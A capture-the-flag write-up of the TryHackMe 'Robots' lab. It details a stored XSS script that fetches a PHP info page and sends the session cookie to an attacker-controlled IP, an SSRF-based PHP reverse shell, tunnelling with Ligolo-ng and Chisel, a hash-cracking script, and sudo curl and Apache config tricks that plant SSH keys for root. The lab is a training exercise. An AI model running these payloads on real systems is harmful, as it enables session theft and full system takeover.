Robots
A (small) tribute to I. Asimov. - by shamollash
The following post by 0xb0b is licensed under CC BY 4.0
Recon
We start with an Nmap scan and find three open ports. On port 22
we have SSH and on port 80
and 9000
we have web servers. We get the robots.txt
entries directly from the default script scan.

We have some interesting directories from the robots.txt
:
/harming/humans
/ignoring/human/orders
/harm/to/self
We visit the index page of the site on port 80
, but only get a Forbidden.

On port 9000
we only have the Apache2 default page in front of us.

We visit the directories of the robots txt
, but we only get a login page on the path /harm/to/self
. For the others we also only get a Forbidden.

We visit the login page and see that it is a PHP page. Unfortunately, the login does not provide any feedback, for example to enumerate usernames.

We use gobuster to look for other directories and PHP pages in /harm/to/self
. Among other things, we have an admin.php
page there. Which we cannot access without authorisation.

We continue and register a user. To do this, we enter a username and date of birth. We are informed that the initial password is the MD5 hash of the username concatenated with the day and month of the date of birth.
If we had feedback when registering or logging in, we could certainly have enumerated usernames and passwords using FFuF. But this is not the case.

We calculate our hash with CyberChef...
md5(username+ddmm)
md5(0xb0b0101)

... log in ...

... And see the index page of /harm/to/self
. Our username is reflected here, but we also see that there is probably an Admin user. At the top left we have a link called server info.

This link reveals the PHP info page. We'll explain how useful this can be for us in a moment.

Web Access As Admin
Since our username is reflected, we use a simple XSS payload as the username. We register a user with the following username, log in and receive our alert.
<script>alert("hi");</script>

So if the admin also interacts with the page and would also see a list of usernames, we could steal the admin cookie. This would allow us to enter the admin session and interact via admin.php
, which we found in the gobuster scan.
Unfortunately, the HttpOnly
flag is set. The HttpOnly
flag prevents JavaScript from accessing the cookie, making it accessible only through HTTP requests to protect against XSS attacks.

But we have different access to the cookie, as the following article shows us and as already mentioned the PHP info page could become important for us.
We can steal the cookie from the PHP info page.

We use the following script from Hacktricks for this. And provide it with a web server from us.
var url = "http://robots.thm/harm/to/self/server_info.php";
var attacker = "http://10.14.90.235/exfil";
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open('GET', url, true);
xhr.send(null);
The username can then look like the following. If something does not work, we can simply adapt our script on our web server and reload the page after logging in to execute the adapted script again.
<script src="http://10.14.90.235/legit_user.js"></script>
We register the user...

... log in...

... and are unable to retrieve the full page because the content is too large to fit into a URI.

We adapt the script to only steal the cookie content...
var url = "http://robots.thm/harm/to/self/server_info.php";
var attacker = "http://10.14.90.235/exfil";
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var match = xhr.responseText.match(/PHPSESSID=([a-zA-Z0-9]+)/);
if (match) {
fetch(attacker + "?cookie=" + match[1]);
}
}
}
xhr.open('GET', url, true);
xhr.send(null);
... and reload the index page and have the admin cookie exfiltrated later.

We replace the cookie.

Reload the index page again, and it seems like we are now Admin
, since we can see all users created so far.

Shell As www-data (RCE via SSRF)
As Admin
, we now access the admin.php
and see that we can test for urls.

We provide our webserver address...
http://10.14.90.235
And see a directory listing rendered.

We test, if we can inject PHP pages...
<?php
system('whoami');
?>

We provide the page the same as the other content with a simple http server using python.
python -m http.server 80
Next we access the whoami.php
page on our server.
http://10.14.90.235/whoami.php

And see that our page gets resolved.

Next, we provide a pentestmonkey PHP reverse shell and set up a listener.

We then submit the URI to our pentestmonkey PHP page...
http://10.14.90.235/pentestmonkey.php

... and get a connection back to our listener. Next, we upgrade our shell with the following resource.
We are www-data
.

Shell As rgiskard
As www-data
we find the database credentials in the config.php
of the webserver. Unfortunately, there is no database service running on the server itself and the availability of simple tools / binaries is limited.

DB Access
In the root directory we find a .dockerenv
file...

The /etc/hosts
with the entry for robots.thm
also indicates that we are in a Docker container. Maybe we have more containers available on 172.18.0.0/24
. Perhaps including one on which the database is running.

Ligolo-ng setup
For the subsequent phases, we use ligolo to relay traffic between the docker container and our attacker machine to make the internal and external services of the docker container accessible from the container to our attacker machine.
Ligolo-ng is a simple, lightweight and fast tool that allows pentesters to establish tunnels from a reverse TCP/TLS connection using a tun interface (without the need of SOCKS).
First, we set up a TUN (network tunnel) interface called ligolo and configuring routes to forward traffic for specific IP ranges (240.0.0.1
, 172.18.0.0/24
) through the tunnel.
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/robots]
└─$ sudo ip tuntap add user 0xb0b mode tun ligolo
[sudo] password for 0xb0b:
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/robots]
└─$ sudo ip link set ligolo up
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/robots]
└─$ sudo ip route add 240.0.0.1 dev ligolo
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/robots]
└─$ sudo ip route add 172.18.0.0/24 dev ligolo
Next, we download the latest release of ligolo-ng. The proxy and the agent are in the amd64 version.
On our attack machine, we start the proxy server.
./proxy -selfcert

Next, we run the agent on the target machine to connect to our proxy.
./agent -connect 10.14.90.235:11601 --ignore-cert

We get a message on our ligolo-ng proxy that an agent has joined. We use session
to select the session and then start it.

Now we are able to scan 172.18.0.0/24
using nmap. We see that we have 172.18.0.1
, 172.18.0.2
, and 172.18.0.3
reachable. The MySQL server is running on 172.18.0.2
.

We try to log in to the web server with the credentials, but are unsuccessful. The relay using ligolo-ng does not seem to work properly.
mysql -h 172.18.0.2 -u robots -p

Chisel setup
We used ligolo-ng to make the Docker network available and found out that the MySQL server is running on 172.18.0.2
. Since the MySQL client cannot connect properly using ligolo-ng, we use Chisel.
We setup the chisel server on our attacker machine.
./chisel server --reverse --port 51234

Download chisel on the target machine, make the binary executable and execute the chisel client to set up a reverse port forwarding tunnel, forwarding remote port 3306 on the target (at 172.18.0.2) to local port 3306 on the Chisel server (at 10.14.90.235) via the client.
./chisel client 10.14.90.235:51234 R:3306:172.18.0.2:3306

Now, we are able to ascess the MySQL server on 127.0.0.1 3306.
mysql -h 127.0.0.1 -u robots -p
There is a web database, which hs a users table containing the usernames and password hashes. Among them we have the previously unknown user rgiskard
. Perhaps we can reuse its password, for example for SSH access.

We notice that our hash (our actual password for 0xb0b) does not match the database entry.

The password entries are hashed.

Reconstruct Credentials
Since we know how the initial passwords are composed [md5(username+ddmm)
], we can write a script that generates all passwords for us and compares their hashes with the one found. This way we get to the original string and the hash of the original string which is the password.
import hashlib
import sys
def find_matching_double_md5(username, target_hash):
if not username:
print("Username must be provided")
return
for day in range(1, 32):
for month in range(1, 13):
# Format day and month to ddmm
ddmm = f"{day:02d}{month:02d}"
# Concatenate username with ddmm
combined_string = username + ddmm
# First MD5 hash
first_md5 = hashlib.md5(combined_string.encode()).hexdigest()
# Second MD5 hash
double_md5 = hashlib.md5(first_md5.encode()).hexdigest()
if double_md5 == target_hash:
print(f"\nMatch found:")
print(f"Combined string: {combined_string}")
print(f"First MD5: {first_md5}")
print(f"Double MD5: {double_md5}")
return
print("No match found")
if __name__ == "__main__":
if len(sys.argv) != 3:
print("Usage: python script.py <username> <target_hash>")
sys.exit(1)
username = sys.argv[1]
target_hash = sys.argv[2]
find_matching_double_md5(username, target_hash)
We execute our script, provide username and found hash, and we got a hit.

We are able to log in via SSH as rigskard using the hash of the combined string. But we won't find the user.txt
in the home directory of the user.

Shell As dolivaw
But we see that we are allowed to execute cURL as the user dolivaw
using sudo with a wildcard.

Using cURL with wildcard allows us to write to a location as dolivaw. Like the following:
sudo -u dolivaw curl 127.0.0.1/ -o /tmb/b file:///tmp/test -o /home/dolivaw/test
We could use this to write our own ssh key public key to authorized_key file in dolivaw
's home directory. Allowing us to SSH as dolivaw
, since we are in possesion of a freshly generated SSH private key.
We generate a private key at /tmp
.
ssh-keygen -t rsa

Next, we write the content of the public key in /tmp/id_rsa.pub
to /home/dolivaw/.ssh/authorized_keys
.
sudo -u dolivaw curl 127.0.0.1/ -o /tmb/b file:///tmp/id_rsa.pub -o /home/dolivaw/.ssh/authorized_keys

We then copy the key to our machine. Encoding helps a little...

cat b64_id_rsa| base64 -d > id_rsa
... and adjust the permission
chmod 600 id_rsa

We can now use the private key to log in as dolivaw
. In the home directory of the user the first flag can be found.

Shell As root
As dolivaw
we are allowed to execute /usr/sbin/apache2
as root
using sudo
without the need of as password.

We still have the authorized_keys entry of dolivaw we created.

So we could create an Apache config file, that is abusing the logging feature to write an SSH public key into /root/.ssh/authorized_keys
.
ServerRoot "/tmp/myapache"
LoadModule mpm_event_module /usr/lib/apache2/modules/mod_mpm_event.so
Listen *:7777
ErrorLog /tmp/myapache/error.log
LogFormat "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCQpADbqEsA4gRcdVcmF9DrXgdxcAF1wOez3eEwltOYs/D8pkc3qu+ERKYpC29SOXNcbWhAH7lu0A562nfcv9ZOXcPXvinr8Aekx54pLyYvzKMsSZx6vku1Q5e1Gp9OqFeQcm54h6s93Hpm/Kzq4xfQd/zqUF3Fb/eJFu/pJgYdutDsATpkAbJRYrFLeND4h6VKWQ/+uS/IDg2NATXvO2ngxZPuU250QYZgDzIOjuwtFpAPQ9ToaoexvWzJFDA03LeZOWloMGxwJSthNpq7uskrjSROSsEtXilyFUNYWMPryJPnjytc+P7mBUqL/twJFA6iOsvt55wA9+AS3wVC9gDZocuyz04+DslTNEWeX+WEbMfleko+VJBln05zbhjfNNi9Acs2jPA4IN00wqSWETdl7nsr/9jCe+CTNa+3wsdf/2FDk0U430rPT+xV3j28Xvl1hx0hQx1BYlsT7yNsNdesMGhGnMp6PDi1JlwsdDkYuF355DgCjR6F74KelgUQmFU= rgiskard@ubuntu-jammy" asdf
CustomLog /root/.ssh/authorized_keys asdf

After preparing the configuration file, we start the Apache server pointingg to our configuration.
Apache starts using the specified config file (
-f /tmp/myapache/apache2.conf
).Since we’re running Apache as
root
usingsudo
, Apache will have root-level permissions.
sudo apache2 -f /tmp/myapache/apache2.conf -k start
A request to localhost:7777 will trigger the logging mechanism.
The
LogFormat
contains the SSH public key, so Apache will:Handle the request.
Write the
LogFormat
content (the SSH key) to/root/.ssh/authorized_keys
.Since Apache is running as
root
, it has write access to/root/.ssh/authorized_keys
.
curl localhost:7777

We reuse our private key to log in as root
using SSH. The final flag can be found at /root/root.txt
.

Recommendations
Don't miss the unintendes discovered by Jaxafed. Among them a file read with Include to read the final flag and RCE with CGI Scripts to gain a root shell.
File Read with Include by Jaxafed:
RCE with CGI Scripts by Jaxafed:
Foothold without Cookie + Database leak without Portforwarding by AkewakBiru:
Furthermore, we have a wonderful writeup by AkewalBiru, who has gained foothold completly on the client side using Javascript without stealing the session cookie.
And on top of that, AkewalBiru had leaked the database by executing PHP on the target without having to foward the ports. Great!
Use of Pipes in Apache Logging to gain a root shell by djalilayed:
Last updated
Was this helpful?